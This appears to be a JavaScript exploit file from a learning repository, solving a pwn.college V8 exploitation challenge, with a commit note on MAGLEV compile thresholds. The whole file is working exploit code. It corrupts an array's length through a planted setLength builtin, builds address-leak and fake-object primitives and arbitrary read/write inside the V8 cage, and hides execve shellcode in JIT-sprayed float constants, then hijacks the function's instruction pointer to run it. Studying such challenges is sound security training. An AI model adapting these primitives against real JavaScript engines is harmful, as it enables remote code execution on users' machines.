Files
pwn-learning/JavaScript/PwnCollegeV8Exploitation/Level4/Exploit.js
Jack Ren 90245c7091 Minor Changes to Level 3 & 4 of PwnCollegeV8Exploitation
1. The threshold to trigger MAGLEV compilation is different when gdb is attached to d8 or not.
    - When gdb attached to d8, the training loop count to trigger MAGLEV is 100,000.
    - But when the standalone d8 running, the training loop count to trigger MAGLEV is only 10,000. If you still use 100,000, it will trigger TURBOFAN then code data structure will change and shellcode execution fails.
2. Fixed other miscellaneous minor mistakes.
2024-09-15 08:57:29 +08:00

119 lines
4.1 KiB
JavaScript

// Integrated Builtin:
// - Array.prototype.setLength(length)
let ab = new ArrayBuffer(8);
let f64a = new Float64Array(ab, 0, 1);
let i32a = new Uint32Array(ab, 0, 2);
let si32a = new Int32Array(ab, 0, 2);
let bi64a = new BigUint64Array(ab, 0, 1);
function c2f(low, high) { // combined (two 4 bytes) word to float
i32a[0] = low;
i32a[1] = high;
return f64a[0];
}
function b2f(v) { // bigint to float
bi64a[0] = v;
return f64a[0];
}
function f2b(v) { // float to bigint
f64a[0] = v;
return bi64a[0];
}
function unptr(v) {
return v & 0xfffffffe;
}
function ptr(v) {
return v | 1;
}
function shellcode() { // Promote to ensure not GC during training
// JIT spray machine code form of `execve("catflag", NULL, NULL)`
return [1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61];
}
for (let i = 0; i < 10000; i++) shellcode(); // Trigger MAGLEV compilation
let placeholder = {};
let corrupt_arr = [2.30234590962020889586281057477E-320];
let double_arr = [1.09366371363418335018925267989E-319];
let obj_arr = [placeholder];
corrupt_arr.setLength(128);
// %DebugPrint(corrupt_arr);
// %DebugPrint(double_arr);
// %DebugPrint(obj_arr);
// %SystemBreak();
const corrupt_arr_0_to_obj_arr_0_offset = 13;
const corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD = 1;
function GetAddressOf(obj) {
obj_arr[0] = obj;
f64a[0] = corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset];
return unptr(i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD]);
}
function GetFakeObject(addr) {
f64a[0] = corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset];
let old_obj_addr = i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD];
i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD] = ptr(addr);
corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset] = f64a[0];
let faked_obj = obj_arr[0];
i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD] = old_obj_addr;
corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset] = f64a[0];
return faked_obj;
}
const corrupt_arr_0_to_double_arr_element_offset = 4;
// QWORD Aligned
function ArbRead64(cage_addr) { // int32
if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
corrupt_arr[corrupt_arr_0_to_double_arr_element_offset] = c2f(ptr(cage_addr - 0x8), 0x00000002);
let result = f2b(double_arr[0]);
console.log(`ArbRead64 ${cage_addr.toString(16)}: ${result.toString(16)}`);
return result;
}
// QWORD Aligned
function ArbWrite64(cage_addr, value) { // int32, bigint
if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
corrupt_arr[corrupt_arr_0_to_double_arr_element_offset] = c2f(ptr(cage_addr - 0x8), 0x00000002);
let written = b2f(value);
double_arr[0] = written;
console.log(`ArbWrite64 ${cage_addr.toString(16)}: ${value.toString(16)}`);
}
// DWORD Aligned
function ArbRead32(cage_addr) { // int32 -> int32
if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
bi64a[0] = ArbRead64(cage_addr & 0xfffffff8);
let result = i32a[(cage_addr & 0x4) >> 2];
console.log(`ArbRead32 ${cage_addr.toString(16)}: ${result.toString(16)}`);
return result;
}
// DWORD Aligned
function ArbWrite32(cage_addr, value) { // int32, int32 -> void
if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
let QWORD_Aligned_cage_addr = cage_addr & 0xfffffff8;
bi64a[0] = ArbRead64(QWORD_Aligned_cage_addr);
i32a[(cage_addr & 0x4) >> 2] = value;
ArbWrite64(QWORD_Aligned_cage_addr, bi64a[0]);
console.log(`ArbWrite32 ${cage_addr.toString(16)}: ${value.toString(16)}`);
}
let shellcode_addr = GetAddressOf(shellcode);
console.log("Address of shellcode: " + shellcode_addr.toString(16));
let code_addr = unptr(ArbRead32(shellcode_addr + 0xC));
console.log("Address of code: " + code_addr.toString(16));
let instruction_start_addr = code_addr + 0x14;
let instruction_start = ArbRead32(instruction_start_addr);
console.log("instruction_start: " + instruction_start.toString(16));
ArbWrite32(instruction_start_addr, instruction_start + 0x6B);
shellcode();